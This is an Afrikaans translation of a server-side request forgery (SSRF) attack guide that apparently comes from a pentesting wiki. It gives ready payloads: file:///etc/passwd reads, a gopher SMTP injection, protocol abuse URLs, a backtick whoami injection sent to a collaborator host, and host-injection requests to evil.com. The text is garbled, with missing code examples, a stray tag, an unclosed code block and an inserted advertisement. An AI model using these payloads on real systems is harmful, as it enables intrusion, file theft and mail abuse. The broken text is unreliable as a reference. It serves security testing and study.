'n Server-side Request Forgery (SSRF) kwesbaarheid kom voor wanneer 'n aanvaller 'n server-side toepassing manipuleer om HTTP-versoeke na 'n domein van hul keuse te maak. Hierdie kwesbaarheid stel die bediener bloot aan willekeurige eksterne versoeke gerig deur die aanvaller.
Vang SSRF
Die eerste ding wat jy moet doen is om 'n SSRF interaksie wat deur jou gegenereer is, vas te vang. Om 'n HTTP- of DNS-interaksie vas te vang, kan jy gereedskap soos gebruik:
Gewoonlik sal jy vind dat die SSRF net werk in sekere gelysde domeine of URL. Op die volgende bladsy het jy 'n samestelling van tegnieke om te probeer om daardie witlys te omseil:
As die bediener korrek beskerm is, kan jy alle beperkings omseil deur 'n Oop Omleiding binne die webbladsy uit te buit. Omdat die webbladsy SSRF na dieselfde domein sal toelaat en waarskynlik sal omleidings volg, kan jy die Oop Omleiding uitbuit om die bediener te maak om interne enige hulpbron te benader.
Lees meer hier: https://portswigger.net/web-security/ssrf
Protokolle
file://
Die URL-skema file:// word verwys, wat direk na /etc/passwd wys: file:///etc/passwd
dict://
Die DICT URL-skema word beskryf as wat gebruik word om definisies of woordelyste via die DICT-protokol te benader. 'n Voorbeeld illustreer 'n gekonstrueerde URL wat 'n spesifieke woord, databasis en inskrywingnommer teiken, sowel as 'n voorbeeld van 'n PHP-skrip wat moontlik misbruik kan word om met aanvaller-verskafte geloofsbriewe na 'n DICT-bediener te verbind: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
SFTP://
Geïdentifiseer as 'n protokol vir veilige lêeroordrag oor 'n veilige dop, word 'n voorbeeld verskaf wat wys hoe 'n PHP-skrip uitgebuit kan word om met 'n skadelike SFTP-bediener te verbind: url=sftp://generic.com:11111/
TFTP://
Triviale Lêeroordragprotokol, wat oor UDP werk, word genoem met 'n voorbeeld van 'n PHP-skrip wat ontwerp is om 'n versoek na 'n TFTP-bediener te stuur. 'n TFTP-versoek word aan 'generic.com' op poort '12346' vir die lêer 'TESTUDPPACKET' gestuur: ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
LDAP://
Hierdie segment dek die Ligte Gids Toegangsprotokol, wat beklemtoon word vir die bestuur en toegang tot verspreide gidsinligtingsdienste oor IP-netwerke. Interageer met 'n LDAP-bediener op die plaaslike gasheer: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
SMTP
'n Metode word beskryf vir die uitbuiting van SSRF-kwesbaarhede om met SMTP-diens op die plaaslike gasheer te interageer, insluitend stappe om interne domeinname te onthul en verdere ondersoekaksies gebaseer op daardie inligting.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
Curl URL globbing - WAF omseiling
Indien die SSRF uitgevoer word deur curl, het curl 'n kenmerk genaamd URL globbing wat nuttig kan wees om WAFs te omseil. Byvoorbeeld in hierdie writeup kan jy hierdie voorbeeld vind vir 'n padtraversal via file protokol:
Die Gopher-protokol se vermoë om IP, poort, en bytes vir bediener kommunikasie te spesifiseer word bespreek, saam met gereedskap soos Gopherus en remote-method-guesser vir die skep van payloads. Twee onderskeie gebruike word geïllustreer:
Gopher://
Deur hierdie protokol te gebruik, kan jy die IP, poort en bytes spesifiseer wat jy wil hê die bediener moet stuur. Dan kan jy basies 'n SSRF uitbuit om te kommunikeer met enige TCP bediener (maar jy moet eers weet hoe om met die diens te praat).
Gelukkig kan jy Gopherus gebruik om payloads vir verskeie dienste te skep. Daarbenewens kan remote-method-guesser gebruik word om gopher payloads vir Java RMI dienste te skep.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0Agopher://<server>:8080/_GET/HTTP/1.0%0A%0Agopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie:eatme%0A%0AI+am+a+post+body
Analitiese sagteware op bedieners hou dikwels die Verwysingskop dop om inkomende skakels te volg, 'n praktyk wat onbedoeld programme blootstel aan Server-Side Request Forgery (SSRF) kwesbaarhede. Dit is omdat sulke sagteware eksterne URL's wat in die Verwysingskop genoem word, mag besoek om verwysingswebwerf-inhoud te analiseer. Om hierdie kwesbaarhede bloot te lê, word die Burp Suite-inprop "Collaborator Everywhere" aanbeveel, wat die manier waarop analitiese gereedskap die Verwysingskop verwerk benut om potensiële SSRF-aanvaloppervlaktes te identifiseer.
SSRF via SNI-data van sertifikaat
'n Foutkonfigurasie wat die verbinding met enige agterkant moontlik maak deur 'n eenvoudige opstelling, word geïllustreer met 'n voorbeeld Nginx-konfigurasie:
In hierdie opset word die waarde van die Server Name Indication (SNI) veld direk gebruik as die agterkant se adres. Hierdie opstelling stel 'n kwesbaarheid bloot aan Server-Side Request Forgery (SSRF), wat uitgebuit kan word deur bloot die gewenste IP-adres of domeinnaam in die SNI-veld te spesifiseer. 'n Voorbeeld van uitbuiting om 'n verbinding met 'n willekeurige agterkant te dwing, soos internal.host.com, met behulp van die openssl-opdrag word hieronder gegee:
Dit mag die moeite werd wees om 'n lading soos te probeer: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
PDFs Weergawe
As die webblad outomaties 'n PDF skep met sekere inligting wat jy voorsien het, kan jy 'n bietjie JS invoeg wat deur die PDF-skepper self (die bediener) uitgevoer sal word terwyl die PDF geskep word en jy sal in staat wees om 'n SSRF te misbruik. Vind meer inligting hier.
Vanaf SSRF tot DoS
Skep verskeie sessies en probeer swaar lêers aflaai deur die SSRF van die sessies te misbruik.
Vir sommige uitbuitings mag jy nodig hê om 'n omleiding antwoord te stuur (moontlik om 'n ander protokol soos gopher te gebruik). Hier het jy verskillende Python-kodes om met 'n omleiding te antwoord:
Gebruik Trickest om maklik te bou en outomatiseer workflows aangedryf deur die wêreld se mees gevorderde gemeenskaplike gereedskap.
Kry Toegang Vandag:
</besonderhede>
Flask maak dit moontlik om **`@`** as aanvanklike karakter te gebruik, wat dit moontlik maak om die **aanvanklike gasheernaam die gebruikersnaam** te maak en 'n nuwe een in te spuit. Aanval versoek:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
Kwesbare kode:
Dit is ontdek dat dit moontlik is om die pad te begin van 'n versoek met die karakter ; wat dan toelaat om @ te gebruik en 'n nuwe gasheer in te spuit om toegang te verkry. Aanval versoek:
GET ;@evil.com/url HTTP/1.1Host:target.comConnection:close